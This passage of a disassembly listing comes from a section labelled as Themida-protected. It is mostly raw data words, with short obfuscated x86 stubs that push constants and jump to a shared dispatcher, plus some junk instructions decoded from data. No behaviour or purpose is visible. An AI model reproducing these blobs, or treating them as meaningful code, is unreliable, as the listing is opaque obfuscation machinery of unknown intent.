		dd 2C729F4Ch, 260DC2F6h, 0D07DB3EBh, 77245A44h,	22CF0599h
		dd 0A877ADF1h, 0FED13450h, 99FF07E3h, 0D192BCE2h, 264214E4h
		dd 5DE8B65Ah, 7825CB34h, 1E73039Bh, 906ABF3h, 3BE10A95h
		dd 66FA8FA8h, 9846BAD6h, 379007E4h, 0DDC15401h,	831BFAA7h
		dd 0B6AADFF8h, 67CAE626h, 8D07E467h, 0DAF68E34h, 0FE1E06Eh
		dd 4730E378h, 0E71FC82Bh, 2C95EEFFh, 0C9F333C3h, 7FC75084h
		dd 467D346h, 32FFE73Fh,	5DF533D9h, 0E8EFA533h, 58B980A1h
		dd 2992BB46h, 7A1A7D99h, 0EF48FFE7h, 7A6ED549h,	584FFE7h
		dd 368BCB5Bh, 1039C4DAh, 0E77A41A4h, 9C166FFFh,	880146BEh
		dd 9E36DC56h, 0E4C81282h, 0EB7BD407h, 0EB217D96h, 39C9D53Eh
		dd 0C86E30E4h, 37B20935h, 0C1C807E4h, 7ACF0F9Fh, 0EB5F0599h
		dd 0FE1B08Fh, 79CE5EB7h, 21CE049Ah, 0F521ACF2h,	0FFE7509Eh
		dd 9E011D5Dh, 0C4FFE750h, 2564C56Bh, 0BD56AB3Bh, 87A33BE1h
		dd 7E4C91Bh, 85DA6AC3h,	2DDA108Eh, 0FE28B8E6h, 0ECE6F7A3h
		dd 79A4059h, 35C59BEEh,	0E1CCC119h, 18CE50Fh, 0E72C6ED5h
		dd 0A0E078FFh, 0E72C2184h, 50F64FFFh, 0D60E15CFh, 74387537h
		dd 0Ch,	0A079E005h, 709FFE6h, 0A2000000h, 0E69D79E0h, 7CBC39FFh
		dd 0E682FD60h, 24CA23FFh, 0A9AC6C3h, 0B6E8ACAh,	0D5FFE683h
		dd 0ADD6613Dh, 0EF99136Ch, 5FCB3212h, 9105791Fh, 3D07E4D2h
		dd 12FF54E4h, 30E64965h, 0B30C07E4h, 0F811A44Ah, 233FCF91h
		dd 0FDE601Dh, 8CEB257Ah, 0EE030D70h, 71DA33FFh,	0CE17BDE6h
		dd 56CAB775h, 0C2FD999Eh, 0A123h, 4B53C300h, 0F4AA6815h
		dd 9A0411BEh, 4658B764h, 0F0AE6310h, 0EAD186BAh, 94417727h
		dd 3BE81E80h, 0E693C9D5h, 6C3B712Dh, 95F814h, 55BB07E4h
		dd 0CA96F39Eh, 6CA5FA3Ah, 3B57A732h, 0FFE683D8h, 963CA5FEh
		dd 0E3FCAE22h, 4FDF3807h, 0FD8816FAh, 829B2ED4h, 0ADC95907h
		dd 0FDE1CF3h, 0D7B876CFh, 0F4999E8Fh, 381AB9h, 0EA2C0000h
		dd 41D17EB4h, 9B7A275Dh, 0EF20CD03h, 45CC79AFh,	3AEF2359h
		dd 0A8DEC051h, 4F8519FBh, 0FA306EA2h, 0A2D8C64Dh, 0FC5F7BD3h
		dd 2A07E3FFh, 36D0DC4h,	6000000h, 6FA75CBBh, 0D43FA42Fh
		dd 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh,	0C34CB13Ch
		dd 2AEB50DBh, 8E84E974h, 52528510h, 0C281E289h,	4, 4EA81h
		dd 14870000h, 4895C24h,	0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 68243489h, 12CFh, 0BE240489h, 368B253Ch
		dd 6185EE81h, 0B95147C6h, 0
; ---------------------------------------------------------------------------
		sub	ecx, esi
		mov	esi, ecx
		pop	ecx
		sub	esi, 93DC304h
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esi
		mov	[eax+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 0F2h, 0EDh, 7
		db 47h,	0E6h
; ---------------------------------------------------------------------------


loc_5BB29E:				; CODE XREF: Themida_:005BAD59j
		mov	eax, 7FD7DE2h
		add	eax, ebp


loc_5BB2A5:				; CODE XREF: Themida_:005BAD54j
		mov	ecx, eax
		jmp	loc_5BB402
; ---------------------------------------------------------------------------
		dd 449BEB92h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh,	365D54FDh
		dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
		dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
		dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h,	92A7ABDDh
		dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h,	0B6E592B6h
		dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
		dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
		dd 2CAE29B0h, 34000000h, 38000000h, 2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	22h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BB402:				; CODE XREF: Themida_:005BB2A7j
		jmp	loc_5BD2E4
; ---------------------------------------------------------------------------
		push	7FD81A8h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD827Dh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD834Ah
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD83EFh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD84BDh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD8589h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD8640h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD86EEh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD8A9Fh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD8AF7h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD8C37h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD8FA0h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD934Dh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD968Bh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD97B5h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD982Ch
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD989Ch
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD9903h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD9A8Bh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD9B95h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD9D28h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		aas
		xlat
		mov	dword ptr [ecx+3A702EE4h], 0E016888Dh
		xor	ebx, esp
		retn	0DF8Ch
; ---------------------------------------------------------------------------
		dw 6C32h
		dd 664D0236h, 10BDF3ABh, 0B7649A04h, 620F4559h,	0E8B7EDB1h
		dd 3117490h, 0D93F07E4h, 0B6CA722h, 0E6838CEFh,	0F861BAFFh
		dd 6C0B086Dh, 37A3FB17h, 0FFE683D4h, 0A40A902h,	0F080E0A9h
		dd 0E0AE3AD4h, 840F6807h, 0E0ACF158h, 0C07AFB07h, 6EB581B9h
		dd 201F40h, 0F3B00000h,	1E3ACA96h, 7E09C50h, 3E6AF54Eh
		dd 7E09BD7h, 9FA660E1h,	406EA767h, 0CD05h, 6CA79600h, 0CF42A732h
		dd 34DF44CFh, 997ADF6Ah, 375BCF05h, 0FBFFE687h,	0A3508618h
		dd 7B23F270h, 26428212h, 0FFE687C3h, 872386A2h,	0F851FFE6h
		dd 25B85EB7h, 53E37D0Ch, 0E0A89937h, 6FA1F607h,	386AA42Fh
		dd 0F487B6Bh, 448D339Ch, 845A8C4h, 126B07E1h, 6BF6A86Dh
		dd 42A3D942h, 49891947h, 3A5621F4h, 7E108D7h, 0B03BA4FDh
		dd 2A6DE187h, 180FDDEAh, 37DA2FBFh, 8D843167h, 0A81B5311h
		dd 0C904999Fh, 1C3B2Ah,	0D7C74F00h, 801EF4A1h, 26789D4Ah
		dd 0D2CC43F0h, 7C22EF9Ch, 765D1246h, 20CD039Bh,	0C774AAF4h
		dd 721F5549h, 0F8C7FDA1h, 42184A0h, 0E94F07E4h,	346AA732h
		dd 0A0C251FEh, 759E2975h, 910C6FBh, 74DDF689h, 96F3873Eh
		dd 2CE53ACAh, 1834CC72h, 7E09C4Ah, 59BCD858h, 8707E09Bh
		dd 0E3AC52Eh, 7E09BA7h,	6F7630B1h, 406EA737h, 5846C91Eh
		dd 99D1B2h, 0A7620000h,	57A7326Ch, 0EB910D02h, 40CBD33Eh
		dd 0E687F014h, 0C5D93AFFh, 6D31E28Fh, 0D23D92E2h, 721841CCh
		dd 58E87811h, 0E0A89E3Ch, 0ADE33C07h, 93233D4Ch, 0A7D43753h
		dd 0A90207E0h, 12B6B03h, 0D62300E0h, 10842AD1h,	0FDDAABCh
		dd 0AC0191EAh, 56033965h, 0FF25E3BBh, 0CC999F58h, 1B66F291h
		dd 0F2240000h, 49C976ACh, 0A3721F55h, 0F718C5FBh, 4DC471A7h
		dd 32E71B51h, 0A0D6C849h, 477D21F3h, 0F228769Ah, 9AD0CE45h
		dd 0F45773CBh, 2207E404h, 6AA705BCh, 0C251FE34h, 0A7EFA6DCh
		dd 42A7326Ch, 0FF97CDD1h, 0F0A9ADD5h, 0BFD97496h, 8E760276h
		dd 0E2BB61CAh, 0B76D1CC6h, 4DDD4658h, 0E08E2F31h, 0FD3A9307h
		dd 0A9F52075h, 435BB91Eh, 55C034DAh, 73C46EF4h,	0A4072316h
		dd 0D2BB5AEFh, 64801079h, 0C354F7A2h, 91F41090h, 0BFBC74E7h
		dd 2272FD66h, 0F21E44CDh, 3C9D43ACh, 2E83134Dh,	52EB9E5h
		dd 26ABC75Fh, 90C46F22h, 4B67A737h, 0BB5AE0E8h,	925B50Eh
		dd 0BB5AE1A6h, 35CD73CCh, 356B33E0h, 55138B88h,	22ED9111h
		dd 9918B7F2h, 0F100001Ah, 96437925h, 3FEC227Ch,	0E592C8D6h
		dd 913E742Ah, 0B4E81E80h, 0A5F918FFh, 4C52C26Fh, 0F7A76916h
		dd 9FFF14C1h, 26429A69h, 7E406C3h, 0A7D48BF1h, 8EA7326Ch
		dd 80D565FBh, 0CF670D91h, 0E0B469B3h, 93042E07h, 2D17D621h
		dd 504EC66Bh, 0ADF69CC5h, 0A26FC454h, 0E14A54C0h, 0C24FD3Bh
		dd 13FD2762h, 7692228Bh, 0FDB2C74h, 68CC0962h, 0C7988688h
		dd 0DD6DF396h, 9286FFC1h, 0FF8AE3CFh, 2DBDA3E6h, 2CB18C11h
		dd 51E13AC8h, 518717FCh, 0DF008FB9h, 76BB343h, 3F5FB461h
		dd 282D3781h, 3AD9145Eh, 19F4h,	0E81E8096h, 91C7D73Bh
		dd 376D31E4h, 0E319858Ah, 8DC3DB36h, 56BBA459h,	0AF651248h
		dd 40CB9EFh, 5CB7649Ah,	0E53D0C42h, 0E40666C9h,	6F268C07h
		dd 0A2326CA7h, 4ED9C54Dh, 0E7727E9h, 82FF627Eh,	0CC25FFE6h
		dd 0F7A9326h, 0C3A5C151h, 0EF07E0A3h, 7E876096h, 1BABB5D4h
		dd 18BCB1DBh, 5B9B43FFh, 355EE9B5h, 0B6E827CCh,	9A9A9C10h
		dd 0EF480FDAh, 52394EB2h, 3E4B9C8Fh, 0CE732BE6h, 5EEE5747h
		dd 893B8042h, 42D166A4h, 3FA8D15Ch, 0EB3A64B4h,	393F2ED9h
		dd 0FD8CED93h, 32B7D363h, 9CA3336Dh, 3373B343h,	8F18B417h
		dd 0E489E29Ch, 0BCE5702Eh, 0F4AA6916h, 0A5082464h, 0CB9C8F18h
		dd 0E18ECC72h, 16AE6C32h, 3705315Ah, 19265DFCh,	0B2640000h
		dd 909B6ECh, 63B25F95h,	0B758053Bh, 0D04B1E7h, 72275B91h
		dd 0E0168889h, 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh
		dd 6207E407h, 6CA745FCh, 0C64DA232h, 7E244DD8h,	0A9B7D2EBh
		dd 4F4FC419h, 8340A3BFh, 0D66FFE6h, 81B3CF67h, 6507E0ADh
		dd 4AFC07FBh, 0EF583904h, 0B5F721B9h, 5A44CD3Eh, 85A531E0h
		dd 4FF906DFh, 7A96263Ah, 0FDAA478h, 64C8055Eh, 0FD2954E7h
		dd 0B758CCBDh, 1EF75CE7h, 1EAE1780h, 1E28B4DEh,	726B1E6Bh
		dd 6C9658CCh, 63BC0523h, 96CABFD8h, 0A765EA06h,	0AB000299h
		dd 81AA3569h, 0A93992DBh, 78FF1469h, 2955F95Ch,	65CE27FDh
		dd 5E0BB1DAh, 6B3E9B5h,	0E9D3910Dh, 5264DB1Ch, 185A7817h
		dd 0E6300000h, 3DD582B8h, 977E2B61h, 0EB24D107h, 41D07DB3h
		dd 3EF3275Dh, 0ACE2BC55h, 538915FFh, 0FE346AA6h, 0A6DCC251h
		dd 637FD7h, 2607E408h, 6CA709C0h, 0FB8EA732h, 732BE93Eh
		dd 0E683A407h, 0D73DD2FFh, 0AA133CC7h, 4771B141h, 0E134531Ch
		dd 0B8DF43BDh, 23198D33h, 6007E0DAh, 8BA10420h,	76CF07E0h
		dd 0F82E87D0h, 2C5D071Fh, 8688A434h, 2C0FDA91h,	8C3296D3h
		dd 2293AF89h, 4D69F967h, 9BA9848Bh, 0B1ED22B7h,	4C52C126h
		dd 0C62F98C1h, 0F967223Bh, 0AEC84D69h, 9DF69C13h, 435BB80Dh
		dd 0A34B750Dh, 0BFD8E6E8h, 3AD9862Ch, 0F90AA664h, 0E01B0A51h
		dd 17A341h, 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h
		dd 148A8734h, 0EF5AADEh, 0B8659B03h, 5F0C425Ch,	0AB7EDB1h
		dd 905F9509h, 9B91C38h,	81E707E4h, 326CA7CAh, 65FB8EA7h
		dd 264B9D5h, 197207E4h,	0C1DD3489h, 0CF670D36h,	4AC9997Ah
		dd 37A0C954h, 0A1C152A7h, 769F2A74h, 0B529670Dh, 7E402E2h
		dd 75ABB5D8h, 0C3534BC8h, 0ED7DAA99h, 19F7EADFh, 9C771C85h
		dd 0BD1E5C02h, 0E80494CCh, 0FE16393h, 0A8F61D72h, 54EF41Dh
		dd 0B2DC1CACh, 61CE188Bh, 410B581h, 40E60F9Ah, 0E91F7F93h
		dd 3DC8D63Ch, 0A5633BD8h, 99993833h, 0F536D510h, 95000016h
		dd 3AE71D81h, 0E390C6D8h, 89366C32h, 35E21886h,	588CC2DCh
		dd 4955BCA3h, 0F0AE6613h, 9B030DBAh, 435BB865h,	0CAE63E0Dh
		dd 7E40967h, 0BC70278Dh, 98F85592h, 0F1DF7h, 2E8F359Eh
		dd 3575055Bh, 0DBB6980Bh, 42E8E894h, 0E46179CEh, 11FF5407h
		dd 99EE78Dh, 9B2B940Ah,	41D1CD46h, 0A382E501h, 57B007E3h
		dd 7B1273B1h, 0E23955E5h, 0F007E3A3h, 7AE00C97h, 8407E3A3h
		dd 0A424903h, 0A84071ABh, 68h, 8A9AF339h, 5F88138Bh, 1C3C66F6h
		dd 188A5F5Ah, 0AB8857CDh, 477AF331h, 8EED09A1h,	0ACFFE774h
		dd 359CC853h, 3FFFE774h, 0C5FD04BEh, 6338757Ch,	34h, 837AE0F4h
		dd 2F59FFE6h, 1976E633h, 66C76DB4h, 6DAD3D23h, 0E6ACEE51h
		dd 15BB14FFh, 0CE13617Dh, 0B60F07E0h, 74BCFC26h, 772A23FFh
		dd 0A6FB93D1h, 0D2892F6Fh, 3ACA96F3h, 0E0AD8C1Eh, 36C11A07h
		dd 0F12042D1h, 610E44ADh, 1161ECB2h, 0AC52B5D1h, 0EB8007E0h
		dd 0C3EC7727h, 0A07B45Ah, 77B00994h, 283AD9BDh,	1248B1EDh
		dd 65F0AE65h, 93233D4Ch, 0DAC30D77h, 0DC358A0Fh, 7AD31CC2h
		dd 0FB7C9744h, 0C23C9FBBh, 116AFFE6h, 0E6C242A5h, 931937FFh
		dd 0FF4DAB5Ch, 71FC65BEh, 1DEE0145h, 3085D578h,	9213B9E5h
		dd 7F1FF4D8h, 27779C49h, 0C6D8379Ch, 77DAF636h,	9D781CE6h
		dd 790B9E44h, 75A00F39h, 4B60F7E3h, 866A24A5h, 6BCEEA8Dh
		dd 35781D5Ah, 2982C3DBh, 9DF28AC0h, 749D2876h, 85F221CEh
		dd 1D5A0669h, 6AD32C78h, 138B85DAh, 26B95F88h, 54E47C0Dh
		dd 4C52BF14h, 76CC32A6h, 0A1FA8017h, 4955BE6Bh
		dd 0E3BB59BEh, 0CC6FF58h, 378CEB28h, 0C35C0DEh,	0B34E3DA0h
		dd 0A10A637Fh, 4955BE6Bh, 7CE4A5BEh, 217D97ECh,	2FC76D96h
		dd 0AD639513h, 86A2E287h, 781D6223h, 737EF851h,	0ED57B63Dh
		dd 63BC05ABh, 0B93802Dh, 0E5ED5480h, 80D8881Ch,	0E54CB56h
		dd 0CC72771Eh, 82C2914Bh, 1D700366h, 5ED83168h,	0D924F8E1h
		dd 0DA872DC0h, 822F6539h, 0BB72FF8Eh, 0D1F37DB5h, 638DDD68h
		dd 0E288C845h, 0E3903605h, 0C9E5702Eh, 16FADE98h, 6BA55288h
		dd 405EB70Ch, 0BD208CB5h, 0E3681CFFh, 3196218Ah, 0DC35C0DEh
		dd 0B2DB378Ch, 0F6C35F80h, 56E14AABh, 4C06872Dh, 7CE5A868h
		dd 0A0C3BFBAh, 86B8717h, 2E681C9Ah, 9E366CD5h, 940A095Eh
		dd 1174E009h, 3F681C9Ah, 7D9340E6h, 9A7BDEFAh, 50A9681Ch
		dd 46435CE7h, 9A74D7F3h, 49A2681Ch, 0E61050E0h,	7469BD26h
		dd 0AE22C803h, 7017261Ch, 54E671CAh, 838D712Bh,	0F84DE51Bh
		dd 0CEF7821Ch, 6987B28h, 65FD167Bh, 3D66F1ADh, 451A44D4h
		dd 0E7B75DD1h, 0F9B9335Ch, 14A74D87h, 290DC7F8h, 0FA24B4EAh
		dd 32DF14C7h, 0DCA7F26Ch, 0D655B8D4h, 227B6FB2h, 5D513B9h
		dd 0A840E2CDh, 176Bh, 69A7FC00h, 0F891AA35h, 0C6BCD868h
		dd 1407E098h, 289E85BBh, 37000000h, 0F0AE67BCh,	0E9963C65h
		dd 0D3EC7727h, 0FE1AAAB6h, 7E099E4h, 4C199802h,	0F4DBC75Ch
		dd 0E0D575D8h, 0D9429B07h, 7B833A70h, 90D0B963h, 89E2E400h
		dd 3BD007E0h, 153EC9D5h, 4AC71CACh, 0E169AE54h,	892285A1h
		dd 28EC07E0h, 81C2EB76h, 108E8328h, 42B65C85h, 0FC93A0DFh
		dd 34C49CEDh, 299D5618h, 2AE77CFBh, 267B0B74h, 5F86A1ECh
		dd 27D4D3C9h, 640A33BEh, 8FD1B8D1h, 95EE3FFh, 2F88FC94h
		dd 0D5C94A9Fh, 7D21F29Fh, 0D0BE3FBFh, 46E5206Ah, 1344h
		dd 98CED046h, 417727EBh, 0E71D8194h, 93C9D53Ah,	3D732BE6h
		dd 0A66B5409h, 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h
		dd 0E40D1679h, 1FD63C07h, 0E6847DE0h, 62FE8BFFh, 0B3FCB6D2h
		dd 91EA07E0h, 3A64AC01h, 0E5B95704h, 801EF55Ah,	63E130C2h
		dd 3FDE199Eh, 12ECh, 0F026789Eh, 99CFCF43h, 3F7529ECh
		dd 0EB217D92h, 95CBD33Eh, 4EC3AC61h, 0A76D1A50h, 0FC14C1F7h
		dd 54BF6CA2h, 0ED45144Ah, 0E40D6ED1h, 772E9407h, 3ACA96F3h
		dd 0E0B3641Eh, 99298207h, 9AD0CE44h, 0EE7925EDh, 89148A89h
		dd 0B362B7F7h, 0B245A8C4h, 126B07E0h, 0C88203A9h, 365F2EE4h
		dd 0E26A79F7h, 85C555BEh, 0E0DB0669h, 7B972C07h, 0FD15BA23h
		dd 0E4BDFBA1h, 0B5537E1h, 0BDE131CEh, 5759032Dh, 50076A86h
		dd 0D42D07E1h, 1C1FC85Ah, 6993E376h, 921B85D8h,	0CC40E657h
		dd 7E15166h, 5726E061h,	0E58B1302h, 8EC4DA38h, 2D71A1F6h
		dd 3F38DA87h, 0E151C023h, 4A66E607h, 7E150E7h, 0E24BB40Dh
		dd 154B3E57h, 0CFF46985h, 89E20FDEh, 3A9DB9F9h,	68FFEE33h
		dd 7CD1690Fh, 37770797h, 0EE33B81Bh, 0CB49DEFFh, 86C46AD3h
		dd 2F92AEEEh, 55FFEE33h, 6AA956FCh, 0F990A934h,	0C3BBD767h
		dd 2307EBB1h, 0CA103ACAh, 0BC8D0DDDh, 0B53B9EBAh, 106907E0h
		dd 146901A7h, 0BC699FFFh, 62B74757h, 0B447EDB1h, 0E272EE9Bh
		dd 47C178A2h, 84C23004h, 0E4086ADEh, 0D52E0FDAh, 99DE6317h
		dd 8A296499h, 11ACh, 306638DEh,	0D90F8F83h, 7FB5E92Ch
		dd 2B613DD2h, 0D50B937Eh, 0E03ECA1h, 67AD5A90h,	0BC540137h
		dd 14FFACE2h, 2D85548Ah, 0E40FAE11h, 0B76ED407h, 0E68386E0h
		dd 0C6D838FFh, 65A2F90h, 16A5A76h, 26C07E4h, 0C1DD99B0h
		dd 7E3935Eh, 29B12B84h,	3CD87D93h, 45AED762h, 0E9B560B5h
		dd 67BCFCB3h, 8050F6A8h, 37F48348h, 0AC90052Fh,	0A63EA1BDh
		dd 0B64FF66h, 3A0CE691h, 1C0B394h, 0BC440000h, 4CF40992h
		dd 3FE5C091h, 7B6ACDEh,	0E73C7CBCh, 0A104702Eh,	0CFFFE683h
		dd 0F65CD076h, 2FFE682h, 0D0459E9h, 0BC34EB91h,	4413D35Dh
		dd 8385E804h, 52ABFFE6h, 9CF3F5ACh, 3BDA15C4h, 0F4AA67BCh
		dd 399A4069h, 2C811153h, 52EB9E5h, 680FA85Fh, 74833C84h
		dd 47CE2337h, 0FDA3CC57h, 3D1Ch, 92BCAD00h, 0C1F858B5h
		dd 0E6F15BDh, 0BC38E781h, 4CF2AC67h, 833298B4h,	760FFE6h
		dd 0B81B3777h, 0DEFFE683h, 0BC28DF85h, 306EA75Dh, 0BC4AA981h
		dd 0AC2C6992h, 4FF58CA1h, 3868h, 7CBC0100h, 0E682FD60h
		dd 24CA23FFh, 0E594CCC3h, 833AA0BCh, 0D919FFE6h, 0E6835ABDh
		dd 0B3EB24FFh, 65BEFF28h, 8C3B54BFh, 7B527CBCh,	0DD56BECAh
		dd 0A74D04AAh, 0A981306Eh, 833C844Ah, 6BDA3774h, 8A000000h
		dd 83CB2E4Ah, 64F9FCE6h, 0E389F2ACh, 0A099F32Ch, 0E6832184h
		dd 81E400FFh, 0AFFFE683h, 53BC1556h, 0FCA26EC3h, 0EBA24871h
		dd 0F2AC67BCh, 983E67h,	0E6837EE4h, 102CACFFh, 0FFE683ADh
		dd 81117AD3h, 0C76CAF57h, 9CC5504Eh, 0B04C6D22h, 0A6B0806Dh
		dd 0EB91FAF1h, 0A75DBC34h, 4EA3336Bh, 264FDAC4h, 4AA9C980h
		dd 536Dh, 67BC0600h, 4069F4AAh,	1153399Ah, 3C7CBC62h, 0E683BD20h
		dd 0E48AE3FFh, 0E6830A70h, 4EFD16FFh, 6BA75DBCh, 206F1EF7h
		dd 42C6316h, 9D721780h,	0B3089801h, 8C120260h, 0E46FD801h
		dd 0A95E15BBh, 43FD3F69h, 4AA30740h, 0EC663B12h, 96797161h
		dd 42F99F08h, 12F892BCh, 9E3F4A3Bh, 0FE3411F8h,	9FC9FFFFh
		dd 8A885B70h, 0D4AD9A14h, 0D2698701h, 0BAB166ACh, 96F35D14h
		dd 0DAF6818Eh, 0FFE68377h, 50DB449Dh, 22C6AD27h, 0F30D9F09h
		dd 89DEFA8Ah, 9307E486h, 8180AA3Ah, 4571C40Dh, 0FE7CAAB4h
		dd 0C16F6D84h, 0E52E831Bh, 6B2283B9h, 92565F5h,	7E468A6h
		dd 35CD73CCh, 0E468B619h, 45638D07h, 0E8398880h, 459EE78Dh
		dd 0E12D8EBAh, 9B3307E3h, 0ED68AA71h, 0C116BCEh, 11674F07h
		dd 66AD52BBh, 0DE84AD38h, 649CA35Dh, 2407212h, 32h, 8379E093h
		dd 0D043FFE6h, 0AB0098CEh, 1B8F3569h, 0FFE683B5h, 10A0C0C9h
		dd 0E08AD6F4h, 0B260B507h, 0A4FD46ECh, 4955BF14h, 0B1EF95BEh
		dd 0B0CAh, 96F36300h, 4C1E3ACAh, 5A07E0A4h, 0F41C7101h
		dd 0BEDA1AAAh, 7E0A35Bh, 4C8A3089h, 0ECB25FB4h,	7E933861h
		dd 0C66C9520h, 1CA7F719h, 4ADA8603h, 0DE22C12Eh, 32C21B0Fh
		dd 356B33DDh, 8B168888h, 0B9491772h, 0EB59929Dh, 997B1007h
		dd 0CC0C9C05h, 77029C77h, 6565223Dh, 0DC4564F1h, 0D88A8936h
		dd 0B7E72939h, 0F9A032Ch, 98ED7DE6h, 6F98237Bh,	35DE8BC9h
		dd 14DDAB69h, 0B3EE9E63h, 0E4314h, 0CFCF4700h, 7826EC99h
		dd 1E809542h, 0CAD43BE8h, 742AE794h, 6E550A3Eh,	18C5FBA3h
		dd 0BF6CA2FCh, 6A174D51h, 0F0BFF5A9h, 12197C98h, 0E14707E4h
		dd 326CA72Ah, 91D142A7h, 22B21B83h, 0B15747CDh,	7ABA021Eh
		dd 83BB1E3Ah, 90E9FFE6h, 0E683C124h, 0F096EFFFh, 42D1B56Fh
		dd 1E56265Ch, 0BC38748Bh, 3Dh, 0CA96F34Dh, 70A5FA3Ah, 6395201Dh
		dd 0B82146CDh, 0EA5E042Dh, 7E14928h, 0C52AB50Eh, 0AA0D294Eh
		dd 0D807E138h, 33E0167Fh, 1A33BEE0h, 4561F16Fh,	0FDB5873h
		dd 61B6469Fh, 644EAB4h,	336BA74Fh, 0D7C74EA3h, 65BF331h
		dd 3DEA900Eh, 0E439C9D5h, 0C0DE3230h, 18A30C35h, 8AB649EFh
		dd 0FFE6832Eh, 0F2821CF4h, 9929759Dh, 0E6831A7Dh, 49EF48FFh
		dd 81DFAA0Bh, 1F2D5F1h,	0C72007E4h, 78DBF737h, 9E07E401h
		dd 0C7079F45h, 8530429Dh, 0FEA4F650h, 0A4DAC451h, 0AD67BCEDh
		dd 437B4BF1h, 2A37F483h, 0D35E40D5h, 962304AAh
		dd 0B4000001h, 1AC997F3h, 0F6A867BCh, 369CB850h, 42FFE683h
		dd 7CBC7A29h, 83BD203Ch, 8AE3FFE6h, 92BC2DE4h, 4417AFD4h
		dd 71F298A0h, 9CF3C3B1h, 3BDA15C4h, 18C799F3h, 3C84680Fh
		dd 23377483h, 8364C7E3h, 3992FCE6h, 52B293h, 0F3430000h
		dd 0BC15C49Ch, 6AF5A967h, 28769C41h, 36CE749Dh,	0E683B41Ah
		dd 0D33E93FFh, 711740CBh, 0E37F9328h, 0BAE36E30h, 0D9DC651h
		dd 0E6838EF1h, 0F25BB4FFh, 0A75DBC43h, 0BC81306Eh, 4BF1AD67h
		dd 1D3660A0h, 281960C5h, 57C0DE31h, 476DFAB1h, 6000000h
		dd 12B39CF3h, 63F855C0h, 0BC34E34Ch, 0E6833AA0h, 2BEF19FFh
		dd 0D2CC4312h, 4D2CF958h, 74233CA7h, 67BC5DBCh,	3C65F0AEh
		dd 7E247A97h, 0AB5A44D1h, 0D42969A9h, 8FF25E40h, 0B5FFE683h
		dd 56D6134Bh, 0C12A82D6h, 67BC641Bh, 7B4BF1ADh,	37748333h
		dd 5CD1h, 99F36200h, 0F212AFB6h, 0CA44DBF0h, 0BA4C6F09h
		dd 0F6A50E1Eh, 0A02D92BCh, 0B1C95D70h, 0DE33730Bh, 0B6DF6A34h
		dd 0C2369C10h, 0E464FFE6h, 0E6C265C8h, 0C9328BFFh, 0EF92BC1Ah
		dd 190D3255h, 0C423BB61h, 12226BA7h, 0C6A2554Ah, 0A9DE8DF6h
		dd 0AA0D2969h, 0D8FFE683h, 6D22D97Fh, 43h, 0C799F306h
		dd 3AA0BC18h, 19FFE683h, 14FFD1EFh, 0AF551401h,	0A8C40444h
		dd 0FFE70D45h, 43A6126Bh, 71FFE70Dh, 9E7318h, 5DBCE897h
		dd 273492BCh, 5EFA0A77h, 0F34FB2CEh, 1C75FFE6h,	5549C976h
		dd 6D4AA9A6h, 0FFFFFE55h, 0CA96F306h, 6BA5FA3Ah, 0C4198D33h
		dd 0D207E402h, 7F94E979h, 0FC51E91Fh, 80E18717h, 0A7C3530Dh
		dd 7E40244h, 6C32DD72h,	0C7524CC7h, 7EAA359Eh, 7E4021Dh
		dd 0DB368B23h, 690F38C3h, 0A5F2EE8h, 0E40D9806h, 0A366E3Eh
		dd 17D44072h, 65000000h, 0E68379E0h, 0F0358FFh,	35DB048Fh
		dd 0DD138B88h, 0D5F6h, 96F38F00h, 0A5FA3ACAh, 821CF36Fh
		dd 0BF658E19h, 0E0A55D4Bh, 0DEFA3A07h, 7E0A57Bh, 61AA50A9h
		dd 0CE5945CCh, 57AC3CA5h, 8FE8D4B9h, 4AF9F62Bh,	12FEABE1h
		dd 53DEC050h, 1D36C12Ah, 4864F46Ch, 0FDE71DFh, 0DC1CAC05h
		dd 911D809Ch, 0EA43FFEDh, 335EF070h, 741A75C6h,	0F61949C7h
		dd 8BF41DA8h, 3668A855h, 40315BABh, 82D08309h, 6C1D7E24h
